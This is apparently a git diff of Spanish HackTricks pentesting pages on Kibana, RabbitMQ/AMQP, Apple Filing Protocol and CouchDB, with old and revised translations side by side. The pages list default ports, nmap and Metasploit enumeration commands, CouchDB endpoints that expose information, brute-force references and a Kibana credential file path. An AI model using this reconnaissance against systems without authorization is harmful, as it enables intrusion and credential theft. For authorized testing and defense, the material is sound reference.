* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
# Información Básica
Kibana es conocido por su capacidad para buscar y visualizar datos dentro de Elasticsearch, generalmente se ejecuta en el puerto **5601**. Sirve como la interfaz para las funciones de monitoreo, gestión y seguridad del clúster de Elastic Stack.
Kibana es conocido por su capacidad para buscar y visualizar datos dentro de Elasticsearch, que generalmente se ejecuta en el puerto **5601**. Sirve como la interfaz para las funciones de monitoreo, gestión y seguridad del clúster de Elastic Stack.
## Comprendiendo la Autenticación
## Entendiendo la Autenticación
El proceso de autenticación en Kibana está inherentemente vinculado a las **credenciales utilizadas en Elasticsearch**. Si Elasticsearch tiene la autenticación deshabilitada, Kibana se puede acceder sin ninguna credencial. Por el contrario, si Elasticsearch está asegurado con credenciales, se requieren las mismas credenciales para acceder a Kibana, manteniendo permisos de usuario idénticos en ambas plataformas. Las credenciales pueden encontrarse en el archivo **/etc/kibana/kibana.yml**. Si estas credenciales no corresponden al usuario **kibana_system**, pueden ofrecer derechos de acceso más amplios, ya que el acceso del usuario kibana_system está restringido a las APIs de monitoreo y al índice .kibana.
El proceso de autenticación en Kibana está inherentemente vinculado a las **credenciales utilizadas en Elasticsearch**. Si Elasticsearch tiene la autenticación desactivada, Kibana se puede acceder sin ninguna credencial. Por el contrario, si Elasticsearch está asegurado con credenciales, se requieren las mismas credenciales para acceder a Kibana, manteniendo permisos de usuario idénticos en ambas plataformas. Las credenciales pueden encontrarse en el archivo **/etc/kibana/kibana.yml**. Si estas credenciales no pertenecen al usuario **kibana_system**, pueden ofrecer derechos de acceso más amplios, ya que el acceso del usuario kibana_system está restringido a las API de monitoreo y al índice .kibana.
## Acciones al Obtener Acceso
## Acciones al Acceder
Una vez asegurado el acceso a Kibana, varias acciones son recomendables:
Una vez que se asegura el acceso a Kibana, se aconsejan varias acciones:
- Explorar datos de Elasticsearch debería ser una prioridad.
- La capacidad de gestionar usuarios, incluida la edición, eliminación o creación de nuevos usuarios, roles o claves API, se encuentra en Gestión de Stack -> Usuarios/Roles/Claves API.
- Es importante verificar la versión instalada de Kibana en busca de vulnerabilidades conocidas, como la vulnerabilidad de RCE identificada en versiones anteriores a 6.6.0 ([Más Información](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
- Explorar datos de Elasticsearch debe ser una prioridad.
- La capacidad de gestionar usuarios, incluyendo la edición, eliminación o creación de nuevos usuarios, roles o claves API, se encuentra bajo Gestión de Stack -> Usuarios/Roles/Claves API.
- Es importante verificar la versión instalada de Kibana en busca de vulnerabilidades conocidas, como la vulnerabilidad RCE identificada en versiones anteriores a 6.6.0 ([Más Información](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
## Consideraciones de SSL/TLS
En casos donde SSL/TLS no está habilitado, se debe evaluar minuciosamente el potencial de **filtración de información sensible**.
En casos donde SSL/TLS no está habilitado, se debe evaluar minuciosamente el potencial de filtrar información sensible.
## Referencias
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -1,28 +1,29 @@
# 5671,5672 - Pentesting AMQP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
## Basic Information
Desde [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
From [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
> **RabbitMQ** es un **software de encolamiento de mensajes** también conocido como un _broker de mensajes_ o _gestor de colas_. Simplemente dicho; es un software donde se definen colas, a las cuales las aplicaciones se conectan para transferir un mensaje o mensajes.\
> Un **mensaje puede incluir cualquier tipo de información**. Podría, por ejemplo, contener información sobre un proceso o tarea que debería iniciarse en otra aplicación (que incluso podría estar en otro servidor), o podría ser simplemente un mensaje de texto. El software del gestor de colas almacena los mensajes hasta que una aplicación receptora se conecta y retira un mensaje de la cola. La aplicación receptora luego procesa el mensaje.\
> **RabbitMQ** es un **software de cola de mensajes** también conocido como un _broker de mensajes_ o _gestor de colas._ En pocas palabras; es un software donde se definen colas, a las que las aplicaciones se conectan para transferir un mensaje o mensajes.\
> Un **mensaje puede incluir cualquier tipo de información**. Podría, por ejemplo, tener información sobre un proceso o tarea que debería comenzar en otra aplicación (que podría incluso estar en otro servidor), o podría ser solo un simple mensaje de texto. El software del gestor de colas almacena los mensajes hasta que una aplicación receptora se conecta y toma un mensaje de la cola. La aplicación receptora luego procesa el mensaje.\
Definición de .
**Puerto predeterminado**: 5672,5671
**Default port**: 5672,5671
```
PORT STATE SERVICE VERSION
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
@ -58,10 +59,10 @@ PORT STATE SERVICE VERSION
| mechanisms: PLAIN AMQPLAIN
|_ locales: en_US
```
### Ataque de Fuerza Bruta
### Fuerza Bruta
* [**Ataque de Fuerza Bruta del Protocolo AMQP**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
* [**Ataque de Fuerza Bruta del Protocolo STOMP**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
* [**Fuerza Bruta del Protocolo AMQP**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
* [**Fuerza Bruta del Protocolo STOMP**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
## Otros puertos de RabbitMQ
@ -70,28 +71,29 @@ En [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networkin
* **1883, 8883**: ([clientes MQTT](http://mqtt.org) sin y con TLS, si el [plugin MQTT](https://www.rabbitmq.com/mqtt.html) está habilitado. [**Aprende más sobre cómo hacer pentesting a MQTT aquí**](1883-pentesting-mqtt-mosquitto.md).
* **4369: epmd**, un servicio de descubrimiento de pares utilizado por nodos RabbitMQ y herramientas CLI. [**Aprende más sobre cómo hacer pentesting a este servicio aquí**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
* **5672, 5671**: utilizados por clientes AMQP 0-9-1 y 1.0 sin y con TLS
* **15672**: clientes de [API HTTP](https://www.rabbitmq.com/management.html), [interfaz de gestión](https://www.rabbitmq.com/management.html) y [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (solo si el [plugin de gestión](https://www.rabbitmq.com/management.html) está habilitado). [**Aprende más sobre cómo hacer pentesting a este servicio aquí**](15672-pentesting-rabbitmq-management.md).
* 15674: clientes STOMP-over-WebSockets (solo si el [plugin Web STOMP](https://www.rabbitmq.com/web-stomp.html) está habilitado)
* 15675: clientes MQTT-over-WebSockets (solo si el [plugin Web MQTT](https://www.rabbitmq.com/web-mqtt.html) está habilitado)
* **15672**: [API HTTP](https://www.rabbitmq.com/management.html) clientes, [interfaz de gestión](https://www.rabbitmq.com/management.html) y [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (solo si el [plugin de gestión](https://www.rabbitmq.com/management.html) está habilitado). [**Aprende más sobre cómo hacer pentesting a este servicio aquí**](15672-pentesting-rabbitmq-management.md).
* 15674: clientes STOMP sobre WebSockets (solo si el [plugin Web STOMP](https://www.rabbitmq.com/web-stomp.html) está habilitado)
* 15675: clientes MQTT sobre WebSockets (solo si el [plugin Web MQTT](https://www.rabbitmq.com/web-mqtt.html) está habilitado)
* 15692: métricas de Prometheus (solo si el [plugin Prometheus](https://www.rabbitmq.com/prometheus.html) está habilitado)
* 25672: utilizado para la comunicación entre nodos y herramientas CLI (puerto del servidor de distribución Erlang) y se asigna desde un rango dinámico (limitado a un solo puerto de forma predeterminada, calculado como el puerto AMQP + 20000). A menos que las conexiones externas en estos puertos sean realmente necesarias (por ejemplo, el clúster utiliza [federación](https://www.rabbitmq.com/federation.html) o se utilizan herramientas CLI en máquinas fuera de la subred), estos puertos no deben estar expuestos públicamente. Consulta la [guía de redes](https://www.rabbitmq.com/networking.html) para más detalles. **Solo 9 de estos puertos están abiertos en Internet**.
* 35672-35682: utilizados por herramientas CLI (puertos de cliente de distribución Erlang) para la comunicación con nodos y se asignan desde un rango dinámico (calculado como el puerto de distribución del servidor + 10000 a través del puerto de distribución del servidor + 10010). Consulta la [guía de redes](https://www.rabbitmq.com/networking.html) para más detalles.
* 61613, 61614: [clientes STOMP](https://stomp.github.io/stomp-specification-1.2.html) sin y con TLS (solo si el [plugin STOMP](https://www.rabbitmq.com/stomp.html) está habilitado). Menos de 10 dispositivos con este puerto abierto y principalmente UDP para nodos DHT.
* 25672: utilizado para la comunicación entre nodos y herramientas CLI (puerto del servidor de distribución Erlang) y se asigna desde un rango dinámico (limitado a un solo puerto por defecto, calculado como puerto AMQP + 20000). A menos que las conexiones externas en estos puertos sean realmente necesarias (por ejemplo, el clúster utiliza [federación](https://www.rabbitmq.com/federation.html) o se utilizan herramientas CLI en máquinas fuera de la subred), estos puertos no deben estar expuestos públicamente. Consulta la [guía de redes](https://www.rabbitmq.com/networking.html) para más detalles. **Solo 9 de estos puertos abiertos en internet**.
* 35672-35682: utilizados por herramientas CLI (puertos de cliente de distribución Erlang) para la comunicación con nodos y se asignan desde un rango dinámico (calculado como puerto de distribución del servidor + 10000 a través del puerto de distribución del servidor + 10010). Consulta la [guía de redes](https://www.rabbitmq.com/networking.html) para más detalles.
* 61613, 61614: [clientes STOMP](https://stomp.github.io/stomp-specification-1.2.html) sin y con TLS (solo si el [plugin STOMP](https://www.rabbitmq.com/stomp.html) está habilitado). Menos de 10 dispositivos con este puerto abierto y mayormente UDP para nodos DHT.
## Shodan
* `AMQP`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
# 548 - Pentesting Protocolo de Ficheros de Apple (AFP)
# 548 - Pentesting Apple Filing Protocol (AFP)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
El **Protocolo de Ficheros de Apple** (**AFP**), antes conocido como Protocolo de Ficheros AppleTalk, es un protocolo de red especializado incluido en el **Servicio de Ficheros de Apple** (**AFS**). Está diseñado para proporcionar servicios de ficheros para macOS y el clásico Mac OS. AFP destaca por admitir nombres de fichero Unicode, permisos POSIX y listas de control de acceso, bifurcaciones de recursos, atributos extendidos nombrados y sofisticados mecanismos de bloqueo de ficheros. Fue el protocolo principal para servicios de ficheros en Mac OS 9 y versiones anteriores.
El **Apple Filing Protocol** (**AFP**), conocido anteriormente como AppleTalk Filing Protocol, es un protocolo de red especializado incluido dentro del **Apple File Service** (**AFS**). Está diseñado para proporcionar servicios de archivos para macOS y el clásico Mac OS. AFP se destaca por soportar nombres de archivos Unicode, permisos de POSIX y listas de control de acceso, forks de recursos, atributos extendidos nombrados y mecanismos sofisticados de bloqueo de archivos. Fue el protocolo principal para servicios de archivos en Mac OS 9 y versiones anteriores.
**Puerto Predeterminado:** 548
**Puerto por Defecto:** 548
```bash
PORT STATE SERVICE
548/tcp open afp
@ -31,25 +32,26 @@ Para la enumeración de servicios AFP, los siguientes comandos y scripts son út
msf> use auxiliary/scanner/afp/afp_server_info
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
```
**Scripts and Their Descriptions:**
**Scripts y sus Descripciones:**
- **afp-ls**: Este script se utiliza para listar los volúmenes y archivos AFP disponibles.
- **afp-path-vuln**: Lista todos los volúmenes y archivos AFP, resaltando posibles vulnerabilidades.
- **afp-path-vuln**: Lista todos los volúmenes y archivos AFP, destacando posibles vulnerabilidades.
- **afp-serverinfo**: Proporciona información detallada sobre el servidor AFP.
- **afp-showmount**: Lista los shares AFP disponibles junto con sus ACL respectivas.
- **afp-showmount**: Lista los recursos compartidos AFP disponibles junto con sus respectivos ACLs.
### [**Fuerza Bruta**](../generic-methodologies-and-resources/brute-force.md#afp)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# 5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Información Básica**
**CouchDB** es una base de datos **orientada a documentos** versátil y potente que organiza los datos utilizando una estructura de **mapa de clave-valor** dentro de cada **documento**. Los campos dentro del documento pueden representarse como **pares clave/valor, listas o mapas**, lo que proporciona flexibilidad en el almacenamiento y recuperación de datos.
**CouchDB** es una base de datos **orientada a documentos** versátil y poderosa que organiza los datos utilizando una estructura de **mapa clave-valor** dentro de cada **documento**. Los campos dentro del documento pueden representarse como **pares clave/valor, listas o mapas**, proporcionando flexibilidad en el almacenamiento y recuperación de datos.
Cada **documento** almacenado en CouchDB se le asigna un **identificador único** (`_id`) a nivel de documento. Además, cada modificación realizada y guardada en la base de datos se le asigna un **número de revisión** (`_rev`). Este número de revisión permite un **seguimiento eficiente y la gestión de cambios**, facilitando la recuperación y sincronización de datos dentro de la base de datos.
Cada **documento** almacenado en CouchDB se le asigna un **identificador único** (`_id`) a nivel de documento. Además, cada modificación realizada y guardada en la base de datos se le asigna un **número de revisión** (`_rev`). Este número de revisión permite un **seguimiento y gestión eficientes de los cambios**, facilitando la recuperación y sincronización de datos dentro de la base de datos.
**Puerto predeterminado:** 5984 (http), 6984 (https)
**Puerto por defecto:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
@ -36,35 +37,35 @@ msf> use auxiliary/scanner/couchdb/couchdb_enum
```
curl http://IP:5984/
```
Este comando emite una solicitud GET a una instancia de CouchDB instalada. La respuesta debería lucir algo como una de las siguientes:
Esto emite una solicitud GET a la instancia de CouchDB instalada. La respuesta debería verse algo así como una de las siguientes:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Ten en cuenta que si al acceder a la raíz de couchdb recibes un `401 Unauthorized` con algo como esto: `{"error":"unauthorized","reason":"Authentication required."}` **no podrás acceder** al banner ni a ningún otro endpoint.
Nota que si al acceder a la raíz de couchdb recibes un `401 Unauthorized` con algo como esto: `{"error":"unauthorized","reason":"Authentication required."}` **no podrás acceder** al banner ni a ningún otro endpoint.
{% endhint %}
### Enumeración de Información
Estos son los endpoints a los que puedes acceder con una solicitud **GET** y extraer información interesante. Puedes encontrar [**más endpoints y descripciones detalladas en la documentación de couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
Estos son los endpoints a los que puedes acceder con una **GET** request y extraer información interesante. Puedes encontrar [**más endpoints y descripciones más detalladas en la documentación de couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Lista de tareas en ejecución, incluyendo el tipo de tarea, nombre, estado y ID de proceso.
* **`/_active_tasks`** Lista de tareas en ejecución, incluyendo el tipo de tarea, nombre, estado e ID de proceso.
* **`/_all_dbs`** Devuelve una lista de todas las bases de datos en la instancia de CouchDB.
* **`/_cluster_setup`** Devuelve el estado del nodo o cluster, según el asistente de configuración del cluster.
* **`/_db_updates`** Devuelve una lista de todos los eventos de la base de datos en la instancia de CouchDB. Se requiere la existencia de la base de datos `_global_changes` para usar este endpoint.
* **`/_membership`** Muestra los nodos que forman parte del cluster como `cluster_nodes`. El campo `all_nodes` muestra todos los nodos que este nodo conoce, incluidos los que forman parte del cluster.
* **`/_cluster_setup`** Devuelve el estado del nodo o clúster, según el asistente de configuración del clúster.
* **`/_db_updates`** Devuelve una lista de todos los eventos de base de datos en la instancia de CouchDB. La existencia de la base de datos `_global_changes` es requerida para usar este endpoint.
* **`/_membership`** Muestra los nodos que son parte del clúster como `cluster_nodes`. El campo `all_nodes` muestra todos los nodos que este nodo conoce, incluyendo los que son parte del clúster.
* **`/_scheduler/jobs`** Lista de trabajos de replicación. Cada descripción de trabajo incluirá información de origen y destino, ID de replicación, un historial de eventos recientes y algunas otras cosas.
* **`/_scheduler/docs`** Lista de estados de documentos de replicación. Incluye información sobre todos los documentos, incluso en estados `completados` y `fallidos`. Para cada documento devuelve el ID del documento, la base de datos, el ID de replicación, origen y destino, y otra información.
* **`/_scheduler/docs`** Lista de estados de documentos de replicación. Incluye información sobre todos los documentos, incluso en estados `completed` y `failed`. Para cada documento, devuelve el ID del documento, la base de datos, el ID de replicación, origen y destino, y otra información.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** El endpoint `/_node/{node-name}` se puede utilizar para confirmar el nombre del nodo Erlang del servidor que procesa la solicitud. Esto es más útil al acceder a `/_node/_local` para recuperar esta información.
* **`/_node/{node-name}/_stats`** El recurso `_stats` devuelve un objeto JSON que contiene las estadísticas del servidor en ejecución. La cadena literal `_local` sirve como un alias para el nombre del nodo local, por lo que para todas las URL de estadísticas, `{node-name}` puede ser reemplazado por `_local`, para interactuar con las estadísticas del nodo local.
* **`/_node/{node-name}/_system`** El recurso \_system devuelve un objeto JSON que contiene varias estadísticas a nivel de sistema para el servidor en ejecución. Puedes usar \_\_`_local` como {node-name} para obtener información actual del nodo.
* **`/_node/{node-name}`** El endpoint `/_node/{node-name}` se puede usar para confirmar el nombre del nodo Erlang del servidor que procesa la solicitud. Esto es más útil al acceder a `/_node/_local` para recuperar esta información.
* **`/_node/{node-name}/_stats`** El recurso `_stats` devuelve un objeto JSON que contiene las estadísticas del servidor en ejecución. La cadena literal `_local` sirve como un alias para el nombre del nodo local, por lo que para todas las URLs de estadísticas, `{node-name}` puede ser reemplazado por `_local`, para interactuar con las estadísticas del nodo local.
* **`/_node/{node-name}/_system`** El recurso \_system devuelve un objeto JSON que contiene varias estadísticas a nivel de sistema para el servidor en ejecución\_.\_ Puedes usar \_\_`_local` como {node-name} para obtener información del nodo actual.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Confirma que el servidor está arriba, en ejecución y listo para responder a las solicitudes. Si [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) es `true` o `nolb`, el endpoint devolverá una respuesta 404.
* **`/_up`** Confirma que el servidor está activo, en funcionamiento y listo para responder a solicitudes. Si [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) es `true` o `nolb`, el endpoint devolverá una respuesta 404.
* **`/_uuids`** Solicita uno o más Identificadores Únicos Universales (UUIDs) de la instancia de CouchDB.
* **`/_reshard`** Devuelve un recuento de trabajos completados, fallidos, en ejecución, detenidos y totales junto con el estado de reescalado en el cluster.
* **`/_reshard`** Devuelve un conteo de trabajos completados, fallidos, en ejecución, detenidos y totales junto con el estado de re-particionamiento en el clúster.
